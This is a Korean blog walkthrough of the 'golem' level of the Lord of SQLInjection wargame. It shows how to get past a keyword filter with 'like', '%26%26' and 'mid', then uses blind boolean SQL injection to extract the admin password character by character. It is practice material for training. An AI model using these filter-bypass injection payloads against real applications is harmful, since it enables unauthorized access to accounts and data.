Notice
Recent Posts
Recent Comments
Link
«   2025/04   »
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30
Tags
more
Archives
Today
Total
관리 메뉴

golem 본문

워게임 문제풀이/Lord of SQLInjection

golem

mi,, 2022. 9. 5. 01:19

 $query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'";  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 

소스코드를 보니 id가 ‘admin’pw의 값을 맞혀야 해당 문제를 통과할 수 있다. 

 

if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); 

지난 문제 orge와 유사하지만, 이 문제는 orge 풀기위해 사용했던 substr = 기호가 추가적으로 필터링 되고 있다. 

 

* 여기서 = 기호는 like 연산자로 우회 가능하다. 

 

 

참인 값인 ?pw=’||id like ‘admin’%26%26‘1’ like ‘1’%23을 입력했을 때, Hello admin 이라는 문구가 뜨는 것을 확인할 수 있다. 

 

 

거짓 값인 ?pw=’||id like ‘admin’%26%26‘1’ like ‘2’%23을 입력했을 때는 아무 문구도 안 뜨는 것을 확인할 수 있다. 

 

참과 거짓일 때 나오는 결과가 다르다는 점을 이용하여 블라인드 인젝션을 통해 pw 알아낸다. 

 

 

[풀이 과정] 

 

pw의 길이를 알기 위해 인자로 주어진 문자열의 길이를 구하는 length 함수를 이용한다.  

?pw=’||id like ‘admin’%26%26length(pw) like ‘8'%23 입력 -> Hello admin문구 확인 

 

pw의 길이는 8이라는 것을 알 수 있다. 

 

 

* 앞서 언급했듯이 substr이 필터링 되고 있다. substr함수 대신 동일한 기능을 가진 mid 함수 사용한다. 

 

mid 함수 - 정해진 문자를 특정 자릿수만큼 잘라내는 기능을 가진 함수이다. 예를 들어 mid(a,b,c)가 의미하는 바는 a문자열을 b부터 c개만큼 잘라낸다. 

ascii 함수 - 문자를 ascii코드로 변환한다. 이 점을 이용하여 >,<,= 연산을 할 수 있다. 

하지만, 이 소스코드는 = 기호를 필터링 하고 있기 때문에 = 기호 대신 like 연산자를 활용한다. 

 

?pw=’||id like ‘admin’%26%26ascii(mid(pw,1,1))<__%23 __빈칸에 숫자를 바꿔가며 Hello admin문구가 안 나올 때까지 반복한다. 

 

 

pw 첫 번째 문자의 아스키코드 값이 55보다 작다는 문구를 넣었을 때 처음으로 아무 문구도 출력되지 않았다. 

 

 

?pw=’||id like ‘admin’%26%26ascii(mid(pw,1,1)) like ‘55’%23 입력 

pw의 첫 번째 문자는 아스키코드 값 55인 7이다. 

 

반복하여 8자리를 다 찾아낸다. 

 

 

pw의 두 번째 문자는 아스키코드 값 557이다.  

pw=77 

 

 

pw의 세 번째 문자는 아스키코드 값 100d이다.  

pw=77d 

 

 

pw의 네 번째 문자는 아스키코드 값 546이다.  

pw=77d6 

 

 

pw의 다섯 번째 문자는 아스키코드 값 502이다.  

pw=77d62 

 

 

pw의 여섯 번째 문자는 아스키코드 값 579이다. 

pw=77d629 

 

 

pw의 일곱 번째 문자는 아스키코드 값 480이다.  

pw=77d6290 

 

 

pw의 여덟 번째 문자는 아스키코드 값 98b이다.  

pw=77d6290b 

 

 

정답: ?pw=77d6290b 

 

'워게임 문제풀이 > Lord of SQLInjection' 카테고리의 다른 글

darkknight  (0) 2022.09.05
skeleton  (0) 2022.09.05
vampire  (0) 2022.09.05
troll  (0) 2022.09.05
orge  (0) 2022.09.05
Comments